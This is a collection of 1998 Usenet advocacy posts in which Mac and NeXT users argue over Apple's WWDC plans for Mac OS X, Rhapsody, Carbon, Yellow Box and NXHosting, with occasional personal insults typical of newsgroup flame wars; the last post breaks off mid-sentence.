Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981900310001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com> <355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com> <6jd44l$522$1@camel21.mindspring.com> <355B3865.D74E6279@spamtoNull.com> <6jg19s$1cc$36@ironhorse.plsys.co.uk>
In article <6jg19s$1cc$36@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <355B3865.D74E6279@spamtoNull.com> Jonathan Harker wrote:
> > I like to think of myself more as a "reasonable counterpoint" than a
> > rabid troll, thank you...:)
> >
> More self-delusion.
>
> You're a bloody idiot.
These sorts of things remind me of a wonderful Calvin & Hobbes cartoon.
The captions in the freaky, strangely drawn pictures go more or less like this:
"Oh no! The entire world has turned neo-Cubist! Calvin was having a
minor argument with his dad and soon Calvin saw both sides of the
issue..."
"...now he sees all sides of everything! In the confusion, he struggles
to regain his former perspective, to elimate points of view other than his
own."
"Suddenly the familiar world drops back into place."
" 'You're still wrong, dad.' "
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:04:47 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981904480001@132.236.171.104>
References: <6jh0vv$1cc$40@ironhorse.plsys.co.uk> <B181D674-70D08@206.165.43.138>
In article <B181D674-70D08@206.165.43.138>, "Lawson English"
<english@primenet.com> wrote:
> Bollocks?
>
> It completely ignores the issues that GX addresses and provides far fewer
> features.
>
> Now THAT is nauseating.
MacOS Rumors also says that the changes mean that NXHosting is dead. Can
anybody offer an opinion on this statement?
Loss of NXHosting is not nauseating by itself, but it sure is
disappointing, and that's my overall assessment of WWDC: a disappointment.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:08:17 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981908170001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <ericb-1405981236220001@132.236.171.104> <355b3f08.0@news.depaul.edu>
In article <355b3f08.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> You're not much of a strategist, are you? Why should Apple get
> involved in that pissing match? Let Sun and Netscape spend their
> money. If they win, Apple wins. If Microsoft wins, then Apple
> still wins.
>
> Apple has more important things to do than blowing their
> bargaining position in support of two loser companies like
> Sun and Netscape.
I agree completely. What I'm saying is that I don't think the old Steve
Jobs would have agreed completely.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: Fri, 15 May 1998 17:47:10 -0700
Organization: University of British Columbia
Message-ID: <1d92wfm.11ge3isiknlh8N@p066.intchg2.net.ubc.ca>
References: <355c8968.0@206.25.228.5> <6jibj1$t02$1@newsfep1.sprintmail.com>
<macghod@concentric.net> wrote:
> Yep, its nice to read articles written by a knowledgable person who writes
> about fact, rather than letters he gets from wackos (I am sure you know
> which mac site I am talking about)
Yes, thanks, Scott -- not least for your quick, calm and lucid response
to the panic set off by the Great Renaming.
Your coverage and stepwise.com in general have let in a lot of light and
fresh air.
--
Bruce Bennett
Date: Fri, 15 May 1998 02:07:40 -0600
From: savagespamblock@sabresedge.com (Justin Savage)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <savagespamblock-1505980207400001@usr-401-5-152.isd.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <355B3804.7DC848E@milestonerdl.com>
Organization: Sabre's Edge
In article <355B3804.7DC848E@milestonerdl.com>, mark@milestonerdl.com wrote:
>Nathan Urban wrote:
>
>> Here's a little exercise for you: spend some time writing a major app
>> in Carbon. Spend more time writing that same app in Yellow. With all
>> the spare time you have left, add lots of new features to the Yellow
>> version to boot.
>
>So that's the best you can do? Offer up that YellowBox is better?
>
>*yawn* I've seen that b4. Apple tried that with Windows 3 VS MacOS. Tell me
>again, how the Win 3 vs MacOS 'battle' came out?
Insert appropriate lemmings joke....
--
Justin Savage
savagespamblock@sabresedge.com
http://www.sabresedge.com
Date: Fri, 15 May 1998 02:06:12 -0600
From: savagespamblock@sabresedge.com (Justin Savage)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <savagespamblock-1505980206130001@usr-401-5-152.isd.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us> <6jfmkm$9tn@netaxs.com>
Organization: Sabre's Edge
In article <6jfmkm$9tn@netaxs.com>, russotto@wanda.pond.com (Matthew T.
Russotto) wrote:
>In article <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us>,
>Nathan Urban <nurban@vt.edu> wrote:
>}In article <355B3744.18038EC5@milestonerdl.com>, mark@milestonerdl.com wrote:
>}
>}> Show where there is a cross-platform future?
>}
>}Show where there isn't. Everything I've heard Apple say about
>}cross-platform speaks of their committment to it. The statements might
>}not be everything you want, but there isn't anything that suggests
>}there is none.
>
>Forget what they've said. What have they DONE lately?
>
>Answer-- damn little. They released the "Now Mac Looks More Like Windows"
>System 8, and then finally got HFS+ out the door. As far as really
>new stuff... nothing. No Copeland, no Rhapsody, no OS-X, no nothing.
>Just constant course changes and delayed ship dates.
Rhapsody DR2 is out.
OS-X was just announced. (So it is totally illogical to put that up as an
example)
Copland was dismembered before the current administration even walked in
the door. I understand the need to vent, but I find it rediculous to blame
the people at Apple for things that went on before they got there. And
considering the executive turnover right after steve got back, I'd guess
that the people responsible for whatever you are pissed about are long
gone. I try to think of it not as "Apple" but as a startup (heh...or Next)
with alot of money. Since the switchover how many promises have they
really broken? (Software delays don't count....even the official
announcements when made several months or a year in advance have standard
disclaimers on them.)
As far as the stuff they've done. Faster cheaper hardware. Allegro seems
to be speading up the OS by replacing a bunch of legacy code. Advertising
hasn't been this good in years. They reevaluated the sales system and are
trying new things to fix it. As mentioned above Rhapsody DR2 is out and
they are releasing documentation and tools for porting to the merged OS X.
They made a deal to speed up and stabilize java (hopefully it'll stay pure
in the process) And my personal favorite is that the new administration
actually seems to try to fix thier mistakes (ex. QT3 licensing).
My advice is to get over it. Things change.
--
Justin Savage
savagespamblock@sabresedge.com
http://www.sabresedge.com
Date: Fri, 15 May 1998 02:11:00 -0600
From: savagespamblock@sabresedge.com (Justin Savage)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Distribution: world
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <savagespamblock-1505980211000001@usr-401-5-152.isd.net>
References: <B17C8D50-7E886@206.165.43.134> <B17FA88B-D17A@206.165.43.138> <nagleEsxEDn.2M6@netcom.com> <djboccip-1305982230370001@tnt3-69.hiwaay.net> <6jdui3$ovk$1@camel15.mindspring.com>
Organization: Sabre's Edge
In article <6jdui3$ovk$1@camel15.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
>John, Apple is dead, Steve Steved it.
>
>What sits at 1 infinite loop is NeXT, which has taken over Apple Computer.
>
>Why not give the NeXT Apple a break. Even Dave Winer is giving Jobs a
>chance to prove himself.
>
>MC
Boy....thats the succinct way of putting it.
--
Justin Savage
savagespamblock@sabresedge.com
http://www.sabresedge.com
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 20:58:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jiob6$bj0$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us> <355CCDEC.BB17EB97@milestonerdl.com>
In article <355CCDEC.BB17EB97@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > (Incidentally, why is HFS+ over UFS a bad idea? I don't know much about
> > the former.)
> As I remember, UFS has speed and no fragmentation (to speak of) problems.
> I don't believe Speed or little fragmentation are words that normally
> describe HFS.
Yeah, but that's HFS. HFS+ is supposed to solve a number of problems
with HFS. I don't know if speed or fragmentation are among them.
Date: Fri, 15 May 1998 18:00:41 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <stevehix-1505981800410001@ip55.safemail.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <Esu2w9.32s@micmac.com> <ericb-1505981821040001@132.236.171.104>
In article <ericb-1505981821040001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <Esu2w9.32s@micmac.com>, nospam@micmac.com wrote:
>
>
> > If you want to feel better you can call Mac OS X Rhapsody 2.0!
> > That's what it will be!
> >
> > You should now by now that marketing imperatives are quite different from
> > *REALITY*...
>
> And the reality is that MacOS X will not run on the x86.
Well, Carbon isn't going to help that...but MacOS X also has YB,
and that makes things look a bit different.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:41:58 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1505981741580001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <ericb-1405981236220001@132.236.171.104>
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Content-Transfer-Encoding: 8bit
In article <ericb-1405981236220001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> The *old* Jobs probably would have asked to appear before the Senate along
> with Barksdale and McNealy so he could tell people what scum the
> Microserfs are.
Luckily, the new Jobs realizes he can't get anywhere by blasting the people
he needs to work with.
> His neutrality (inspired by cash) is enough to call him
> "bought off" in my book, even if "in bed with" is probably a bit
> excessive.
Whatever. With no evidence, you are free to concoct whatever asinine
theories you want.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:38:02 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1505981738020001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104>
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In article <ericb-1405981159190001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <andyba-ya02408000R1205981008330001@news>,
> andyba@corp.webtv.net (Andy Bates) wrote:
>
> > In article <ericb-1105981832070001@132.236.171.104>, ericb@pobox.com (Eric
> > Bennett) wrote:
> >
> > > I know that Rhapsody will ship! My objection is that Apple's mainstream
> > > OS for the average Mac user is not shipping until 1999!
> >
> > Sure it is! It's called MacOS 8.5, and it's shipping in Fall of 1998.
>
> I meant *modern* mainstream OS. Sorry I left out that crucial word.
And before WWDC, Apple had NO schedule for shipping of a modern mainstream
OS. So now we have a definitie date. Again, what's the problem?
> But the apps everyone depends on today will not be rewritten for YB. No
> Photoshop, no WordPerfect, no Excel...
But now they WILL have modern OS features! Win-win!
> > It is NOT another significant delay! It is adding a new feature set in the
> > future, over and above what was already promised (which is still coming out
> > on time).
>
> Yeah, right. This "adding a new feature set" excuse is the same BS we got
> when they replaced Copland with Rhapsody. "We're killing our old
> modernized OS but we'll give you something even better!"
Bad comparison; Rhapsody was not killed.
> I don't want an
> OS that gets better and better and better but is always 18 months away
> from being shipped. I would be much happier with an OS that Apple can
> ship on time, even if it doesn't provide anything more than memory
> protection and PMT.
You'll have it, shipping on time. It's called Rhapsody, and it's coming out
in September. Nothing has been pushed back!
> > > I can conclude that Rhapsody is not Apple's modern new OS for the average
> > > Mac user,
> >
> > To be fair, Apple said a long time ago that Rhapsody will not be for the
> > average user.
>
> The original plan, as I recall it, was that Rhapsody (and YB with
> cross-platform compatibility) would become Apple's mainstream OS.
That still is the plan. However, that mainstream Rhapsody-based OS will now
be called Mac OS X.
> Parts
> of Rhapsody are still going to be included, but YB looks like more of an
> afterthought at this point.
Check out WWDC notes for a rebuttal of this claim.
> The current strategy is fine for defending the exist Mac market. Apple
> *had* a plan for *expanding* by encouraging develpers to port to a
> cross-platform environment that would run on Intel systems.
Apple's plan was a "program for Yellow Box or nothing at all" plan, which
didn't sit well with developers. Hopefully, the advanced YB development
environment, along with its cross-platform capabilities, will attract
developers. But until it does, we still have Carbon.
Andy Bates.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 23:36:12 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1405982336130001@dialin9022.slip.uci.edu>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <rex-1405981953440001@192.168.0.3>
In article <rex-1405981953440001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> :Yellow will infiltrate the Mac market from the bottom up.
>
> Damn that sounds suspiciously similar to what folks were saying about
> GX, OpenDOC, Powertalk, etc. The problem with coming from the bottom up,
> is that Apple usually craps on the folks at the bottom at the behest of
> the folks on the top.
There's one big difference though, Eric. YellowBox, unlike GX, OpenDoc,
and Powertalk doesn't suffer from a terrible implementation. GX was
elegant but packaged horribly. OpenDoc was a great idea, but a rotten
implementation. And Powertalk had some nice ideas, but otherwise sucked
all around (notice the Keychain API presentations at WWDC, though? A good
idea brought back from the grave...)
Now it could easily be argued that Rhapsody, like GX suffered from rottent
packaging, and you'd be right. That's why we have to adjust to MacOS X.
Better packaging.
Let me ask you: Had GX not forced a new print driver architecture on
everyone and been somewhat more resource friendly, don't you think it
would have gotten much better developer support?
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 19:26:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CDD20.8AA246D1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com> <355cdd40.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> > :: (if it ever appears). I think it was mentioned that DR2 runs
> > :: on the current Windows 98 beta.
> > See http://www.stepwise.com/SpecialCoverage/WWDC98/index.html
> > Satisfied?
> Of course Marc's not satisfied. He's an ankle-biting troll, trying
> to match Harker's prodigious output.
That's the best you can do?
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 1998 23:37:24 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1405982337250001@dialin9022.slip.uci.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk>
In article <6jfual$1cc$32@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> YellowBox running on it.
What happens if 98 never ships?
Ooh it feels good being able to ask that question!
-Bob Cassidy
Date: Fri, 15 May 1998 19:17:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1505981917430001@elk90.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu> <ericb-1505981752260001@132.236.171.104>
In article <ericb-1505981752260001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <35579c6d.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
>
> > In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> >
> > > And if you believe some reports, there are now three APIs for OS X: System
> > > 7, Carbon, and perhaps Yellow Box too. If we're really lucky, the new
> > > "Carbon" APIs will be taken from YB, but I'm not sure if that's workable
> > > given Apple's claims of easy porting to Carbon.
> >
> > You have absolutely no understanding of what Carbon is. Give it up.
>
> Sure I do. That's why I know it won't be using YB or YB-derived APIs even
> though that would be cool (it would get people to learn a little Yellow a
> little at a time; as it is, major Mac developers are just going to write
> to Carbon and ignore Yellow).
>
But aren't YB and Carbon so fundamentally different that mixing them would
be a mess?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 15 May 1998 23:11:27 GMT
Organization: University of Washington, Seattle
Message-ID: <6jii2v$244e$1@nntp6.u.washington.edu>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <ericb-1405981420100001@132.236.171.104> <joe.ragosta-1505981322370001@wil95.dol.net> <355CB856.7F812AD0@milestonerdl.com>
NNTP-Posting-User: gwangung
In article <355CB856.7F812AD0@milestonerdl.com>,
M Rassbach <mark@milestonerdl.com> wrote:
>Steve's keynote time index 54:44 he mentions that Carbon allows for a OS 8 AND OS
>
>X version of your code.
>Time index 57:00 "We are targeting MacOS X for the G3." then "In addition carbon
>Apps will run on on System 8 on the complete line of products we ship with System
>8"
>ends 57:34
>
>Looks to me like Job's plan is to support G3 and up.
That's a very restricted reading.
The term "target" implies focus.....but does not restrict this
focus to the object of the verb.
As other Apple press releases say that OS X is OPTIMIZED for G3,
the denotation is clear that there are other processers where OS X is NOT
optimized for.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Thu, 14 May 1998 23:46:12 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1405982346120001@dialin9022.slip.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com>
In article <6jg12k$o12$1@winter.news.erols.com>, "Ted Martin"
<tmartin@bcpl.net> wrote:
> That's a Main Street One.
It's still a laptop, isn't it? It's new, fast, expandable...
> Wall Street is $4000-6000, hence the name.
And PC laptops can cost that much as well. So do you proclaim all PC
laptops to be unreasonably expensive just because one of them is $6000?
-Bob Cassidy
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: Fri, 15 May 1998 16:48:15 -0700
Organization: Trilithon Research and Trading
Message-ID: <355CD43F.E6B430C2@trilithon.com>
References: <6jhusk$ao4$1@crib.bevc.blacksburg.va.us> <B1821A5A-5279FD@141.214.128.36>
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Robert A. Decker wrote:
* How do they plan on doing Net Computers if they're
* dropping NSHosting? Does this mean they're going
* to abandon work on net computers?
There's more to net computing than remote hosting.
Distributed Obejcts aren't going away, are they? You
could obtain a facsimile of remote hosting by having
the displaying host vend a view object to the computing
host and have the computing host lock focus on the remote
view, for example. Not as pretty and transparent as
remote hosting, but workable.
And there are tons of client-server based and web-based apps
that can be created without remote hosting. The world
isn't going to end because of no remote hosting.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 17:47:33 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1505981747330001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
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In article <ericb-1405981303550001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> If Apple were going to
> announce long-term YB Windows support or long-term Rhapsody/Intel support,
> I think they would have announced it at WWDC. They did not. Read between
> the lines. What does this tell you?
If Apple were going to kill long-term YB Windows support or long-term
Rhapsody/Intel support, I think they would have announced it at WWDC. They
did not. Read between the lines. What does this tell you?
Andy Bates.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 18:52:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1823F45-E5F7C@206.165.43.10>
References: <rmcassid-1405982336130001@dialin9022.slip.uci.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Robert Cassidy <rmcassid@uci.edu> said:
>Let me ask you: Had GX not forced a new print driver architecture on
>everyone and been somewhat more resource friendly, don't you think it
>would have gotten much better developer support?
But it no longer does so and HAS been getting better developer support and
it didn't make the cut.
The list of GX-using apps has GROWN (slowly) since the death of GX
printing.
Hopefully (in some really bad alpha form), HyperCard will join that list in
the Very Near Future.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 17:58:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18232C5-B6F87@206.165.43.10>
References: <6ji1qc$1cc$47@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B1810BBB-15F43@206.165.43.99> "Lawson English" wrote:
>
>> PS graphics sans PS language is Bravo.
>>
>No, it could also be PDF.
>Like they said it's going to be.
There's likely little different between the two.
>
>PDF is basically PS instructions without the interpreted language.
So is Bravo.
>But a whole load of other neat features instead.
Such as?
>
>So "porting" to the new imaging model from DPS should be straighforward,
>and
>gain some performance enhancements.
But what does it offer Mac users over GX?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 21:04:37 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6jioo6$9cc$1@news12.ispnews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <joe.ragosta-1505981216270001@wil115.dol.net> <355C9C38.F8BACC40@unet.univie.ac.at>
x-no-archive: yes
Christian Benesch wrote:
>
>Joe Ragosta wrote:
>
>> In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
>> <Limeyville@spamtoNull.com> wrote:
>>
>> > Mark me, Jobs has already started his decline at Apple. This bumble,
>> > along with the iMac fiasco, will set the stage for Jobs' soon
>> > retirement.
>>
>> But you've been saying for a year that Jobs was at unthinkably low levels.
>> How's he going to decline?
>>
>> BTW, just which iMac fiasco are you referring to? All the _huge_ amount of
>> positive press they've received?
> Probably one could argue over the design, but performance and price seem
>pretty much ok.
>It has potential.
Hmm, actually I think that the funky aesthetics are the only
chance that the iMac has of being successful, in the same
way that the new VW beetle is selling well. This isn't a
$1299 computer today, it's a $1299 computer in August,
and all the PC makers will have continuted dropping their
prices during this time. Most of the market for the iMac
*will* end up buying removable storage for it, so this
ups the price even further. The price of the iMac
absolutely WILL NOT be attractive to non-Mac users.
Z
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: NXHosting is dead ?
Content-Type: text/plain; charset=iso-8859-1
Message-ID: <Et0nDE.Ixo@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de (Volker Safran)
Content-Transfer-Encoding: 8bit
Cc: henry@trilithon.com
Organization: Volker Safran, Berlin, Germany
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com>
Mime-Version: 1.0
Date: Fri, 15 May 1998 20:53:37 GMT
In <355C6969.6907242B@trilithon.com> Henry McGilton wrote:
> Nathan Urban wrote:
>
> * This is bad. :( What good is having the pretense
> * of a network-aware GUI-based OS without being able
> * to run apps remotely??
>
> Nathan, the lack of NXHosting may be "bad" from a specialised
> viewpoint of some developers and some specialised applications
> such as Mathematica et al. But I don't believe it's "bad"
> in the broader picture of the PC consumer market. Ninety nine
> percent of Mac and PC users wouldn't knonw remote hosting if
> it bit them on the leg, wouldn't understand it if you explained
> it to them, and wouldn't know what to do with it even then.
>
> From the viewpoint of hardware and software sales, NXHosting
> won't have any effect. Bit of a drag for those who *really*
> need the feature. I'm sure that somebody will come up with
> some clever way to obtain the effect. As for me, I'm not
> concerned that the lack of NXHosting will drive Apple out
> of business.
I kept quiet reading all this rumours about Mac OS X wether it
will be the death of YB and so on. As a summary, I had the
impression, that they are doing their job not this bad; keeping
the advantages of YB and Rhapsody and giving old Mac OS Users and
Developers a way to keep their face (and their products).
But there are two points, that make me nervous about the future of
